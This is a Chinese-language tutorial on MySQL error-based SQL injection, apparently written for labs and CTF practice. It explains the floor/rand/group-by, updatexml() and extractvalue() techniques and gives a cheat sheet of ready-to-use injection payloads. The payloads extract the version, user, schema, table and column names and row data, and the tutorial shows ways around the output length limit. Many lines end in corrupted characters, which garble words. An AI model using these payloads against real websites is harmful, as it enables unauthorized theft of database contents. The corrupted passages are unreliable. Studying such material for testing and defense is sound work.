基于MySQL的报错注�?
原理
利用数据库的某些机制,人为的制造语法错误或者其他错误,并加以其他sql语句构造payload,使得查询结果能够出现在错误信息中�?
三种常用报错
报错注入大概涉及函数10-20中,这里当然写不完,大家可以私下里去查询,这里就介绍靶场和CTF中常见的函数,但是CTF比赛中sql注入也考的比较少了,仅供参考�?
Floor()报错
限制:使用了mysql_error()等输出mysql报错才可以,mysql5.x版本
原理建议大家直接阅读木头师傅的文章,我这里只是结合payload简单讲解一下。http://wjlshare.com/archives/220
简单介绍一下floor(x);rand();cout();concat();group by四个函数,可以让大家更好的理解一下�?
floor()
floor(x),也写做Floor(x),其功能是“向下取整”,或者说“向下舍入”,即取不大于x的最大整数(与“四舍五入”不同,下取整是直接取按照数轴上最接近要求值的左边值,即不大于要求值的最大的那个值)。(与celling()函数相反,从英语角度看,一个地板一个天花板也好理解�?
简单点来说,floor()函数返回小于等于该值的最大整�?.例如�?
结合这两张图相信大家理解起来就简单多了�?
rand()
rand函数不是真正的随机数生成器,而srand()会设置供rand()使用的随机数种子。如果你在第一次调用rand()之前没有调用srand(),那么系统会为你自动调用srand()。而使用同种子相同的数调用 rand()会导致相同的随机数序列被生成�?
rand()函数就是生成一�?0-1之间的一个随机数,例如在mysql中如下图
注意:在rand(0)小于等于三个时,rand()和rand(0)时没有区别的,但是当rand(0)大于三个时,就会产生变化,如下�?
cout()
count()函数有两种使用方式:
1.使用count(*)对表中行的数目进行计数,不管表列中包含的是否空�?(NULL)还是非空值�?
2.使用count(columns)对特定列中具有值的行进行计数,忽略NULL值;
简单来说cout()函数就是一个进行统计函�?
concat()
返回结果为连接参数产生的字符串。如有任何一个参数为NULL ,则返回值为 NULL�?
例如:concat("11,22,33")
返回:|112233|
综述
单独介绍完了函数,那么介绍一下连接起来的函数。floor() 函数的作用就是返回小于等于括号内该值的最大整数,也就是取整�?
floor(rand(0)*2)就是对rand(0)产生的随机序列乘�?2后的结果,再进行取整。得到伪随机序列为如下图所示:
group by函数主要用来对数据进行分组(相同的分为一组)
不过这里重点时group by函数的执行过程。group by key 在执行时循环读取数据的每一行,将结果保存于临时表中。读取每一行的key时,如果key存在于临时表中,则更新临时表中的数据(更新数据时,不再计算rand值);如果该key不存在于临时表中,则在临时表中插入key所在行的数据。(插入数据时,会再计算rand值)相信大家很难理解,那么我用一个例子解释一�?
select count(*),floor(rand(0)*2) x from users group by x; -- 上面已经介绍过floor(rand(0)*2)函数了�?
这一串函数就是用来报错的sql语句,那么就用它来解释一下,如下过程�?
当mysql执行结果,会产生0 1 1 0 1 1这个序列,当group by时,会建立如下虚拟表,在这张虚拟表中,key也就是主键这是不可以重复�? 还有一个count(*) 这个是记数的,然后从sql语句执行结果序列�?011011)读取数据并插入虚表:
�?1)虚表写入第一条记录,执行floor(rand(0)*2),发现结果为0(此时为第一次计�?)
�?2)查询虚拟表,发�?0的键值不存在,则插入新的键值的时候floor(rand(0)*2)会被再计算一次,结果�?1(此时为第二次计算),插入虚表,第一条记录插入完毕,结果�?1。如下图:
�?3)虚表写入第二条记录,再次计算floor(rand(0)*2),发现结果为1(此时为第三次计算),此时结算结果为1,所以floor(rand(0)*2)不会被计算,直接count(*)�?1,第二条记录写入完毕。查询虚表,发现1的键值存在,所以floor(rand(0)2)不会被计算第二次,直接count(*)�?1,第二条记录查询完毕,结果如�?:
�?4)虚表写入第三条记录,再次计算floor(rand(0)*2),发现结果为0(此时为第4次计�?),计算结果为0,此时虚表中没有0的数据记录,则执行插入该数据,插入时会再次计算floor(rand(0)*2)(此时为�?5次计算),计算结果为1。然�?1这个主键已经存在于虚拟表中,而新计算的值也�?1(主键键值必须唯一),所以就产生了主键冲突的错误,也就是:Duplicate entry 的报错�?
select count(*),floor(rand(0)*2) x from information_schema.tables group by x
那么相信大家对这条报错语句报错的原理也就理解了,那么将这条报错语句再整合进去,变成下面这句sql语句
and (select 1 from(select count(*),concat((PAYLOAD语句),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a) --+
我们要知道group by()函数结合rand()cout(*)函数会报错,那么我们用concat()函数将这个报错语句和我们需要进行查询的东西结合起来,那么就会将我们想要得到的东西带出来(database()) 例如sqllab�?
马赛克部分是因为我写了点东西在里�?(无关紧要),可以看到我们成功爆破出了库名。只需要将database()修改为你想要的就可以了,下面就是一些常用的语句�?
获取数据库版本信�?
and (select 1 from(select count(*),concat(version(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取当前数据�?
and (select 1 from(select count(*),concat(database(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取用户
and (select 1 from(select count(*),concat(user(),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取数据�?
第一张表,一张张的获取通过更换limit 中的�?
and (select 1 from(select count(*),concat((select (table_name) from information_schema.tables where table_schema=database() limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取表中的列
and (select 1 from(select count(*),concat((select (column_name) from information_schema.columns where table_name='数据表名' limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
获取字段数�?
and (select 1 from(select count(*),concat((select (字段�?) from 数据�?.表名 limit 0,1),0x3a,floor(rand(0)*2))x from information_schema.tables group by x)a);
Updatexml()报错
限制:开启mysql数据库报错信息显�?,mysql5.1.5+,有长度限制最�?32�?
updatexml函数:更新xml文档的函�?
语法:updatexml(文档类型,xpath路径,更新的内容�?
报错原理:updatexml(a,b,c) 如果b的位置不是xpath语句,那么就会报错,当然就可以带出我们想要的结果
模板:and updatexml(1,concat(0x7e,(PAYLOAD语句)),1); -- 通过concat()函数连接报错语句和我们的语句
获取数据库版本信�?
and updatexml(1,concat(0x7e,version()),1);
获取当前用户
and updatexml(1,concat(0x7e,user()),1);
获取所有数据库名称
通过更换limit 0,1 中的数字来进行遍�?
and updatexml(1,concat(0x7e,(select schema_name from information_schema.schemata limit 0,1)),1);
获取数据�?
通过更换limit 0,1 中的数字来进行遍�?
and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1)),1);
获取�?
通过更换limit 0,1 中的数字来进行遍�?
and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='test' limit 0,1)),1);
获得对应列的数�?
通过更换limit 0,1 中的数字来进行遍�?
and updatexml(1,concat(0x7e,(select id from 数据�?.数据�? limit 0,1)),1);
Extractvalue()报错注入
限制:开启mysql数据库报错信息显�?,mysql5.1.5+,有长度限制最�?32�?
extractvalue:对xml文档进行查询的函�?
语法:extractvalue(文档类型,xpath路径)
extractvalue(a,b),如果b的位置不是xpath语法就会报错,同样通过报错带出我们想要的结果�?
模板:and extractvalue(1,concat(0x0a,(payload语句) 通过concat()函数连接报错语句和我们的语句
Updatexml()&&Extractvalue()绕过长度限制
这两种函数我们前面说过有长度限制,例如下面的sql注入,可以看到我们这里因为长度限制并没有显示完整的flag
那么有没有办法绕过长度限制呢?当然有;接下来我就介绍几种可以绕过长度限制的函�?
substr函数
substr(被截取字符串,起始位置,截取几位) (substr利用)
1 and extractvalue(1,concat(0x0a,(select concat(0x7e,substr(flag,1,10),0x0a) from flag limit 0,1)));
(这里两个concat是必不可少的,第一个concat和我们的sql注入进行结合,第二个concat�?0x7和substr()进行结合确保数据显示完整)
既然限制长度�?32位,那么我们就用substr()先截�?10位,再截取后�?40位,例如刚才的flag
前面10位为ctfhub{1ff 那么我们后面再截取就要从11位开始往后截�?
后面的为c4c5728555e15c253c0c1} 那么完成的flag:ctfhub{1ffc4c5728555e15c253c0c1}
substring()&&length()函数
substring(被截取字符串,开始位置,截取几位) 这里截取几位可以省略,省略后默认截取30�?
substring(flag,1) 省略截取几位,那么就从一开始截取直到最大限制位30�?
substring(flag,31) 再从30位开始截取,一直截取完
截取全部flag语句
1 and updataxml(1,concat(0x0a,select(concat(0x0a,substring(flag,1),0x0a) from flag limit 0,1))) 截取�?30�?
1 and updataxml(1,concat(0x0a,select(concat(0x0a,substring(flag,31),0x0a) from flag limit 0,1))) 截取剩下�?
这里我就不在靶场中演示了,跟上方substr()一样的方法�?
left()函数
select left(user(),4);运行结果为root �? 从左往右取4个字�? 数字可以更改
right()函数
select right(user(),4);从右往左取四个数,数字可以更改
mid()函数
select mid(a,b,c)
a:获取的字符串 b:开始获取的位置 c:返回字符串的位�?
select mid(user(),1,10) 获取user() 从第一位获取到�?10�?
select mid(user(),1) 获取user() 从第一位获取到最后最�?
sql报错注入是很灵活的,在实战中要根据情况灵活变通,同时更要学会结合其他漏洞加以利用�?
参�?
https://www.bilibili.com/video/BV1VA411u7Tg?p=9
http://wjlshare.com/archives/1317
https://zhuanlan.zhihu.com/p/373726885
https://blog.csdn.net/cried_cat/article/details/80022378